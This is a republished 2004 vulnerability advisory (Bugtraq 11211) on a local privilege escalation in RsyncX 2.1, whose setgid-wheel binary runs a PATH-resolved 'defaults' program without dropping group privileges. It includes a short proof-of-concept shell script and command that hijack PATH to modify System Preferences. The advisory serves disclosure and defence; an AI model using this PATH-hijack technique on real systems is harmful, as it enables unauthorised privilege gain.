MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

BID:11211

Info

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

Bugtraq ID: 11211
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Sep 17 2004 12:00AM
Updated: Sep 17 2004 12:00AM
Credit: Discovery of this vulnerability is credited to Matt Johnston <[email protected]>.
Vulnerable: MacOSXLabs RsyncX 2.1
Not Vulnerable:

Discussion

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

It is reported that RsyncX is prone to a local privilege escalation vulnerability.

RsyncX is installed setuid root and setgid wheel. It is reported that RsyncX drops root privileges properly but fails to drop setgid wheel privileges before executing a third party binary.

A local attacker may exploit this vulnerability to execute arbitrary code with group wheel privileges.

Exploit / POC

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

The following example is available:

First, make a backup of System\ Preferences.app

Create an executable file ~/bin/defaults with contents of:

=============================
#!/bin/sh
mv "/Applications/System Preferences.app/Contents" "/Applications/System Preferences.app/oldcont"
cp -r "/Applications/Calculator.app/Contents" "/Applications/System Preferences.app/Contents"
=============================

Then run RsyncX with ~/bin in your path:

PATH=~/bin:$PATH /Applications/Utilities/RsyncX.app/Contents/MacOS/RsyncX

Click on System Preferences, and is now a calculator.

Solution / Fix

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

MacOSXLabs RsyncX Local Privilege Escalation Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report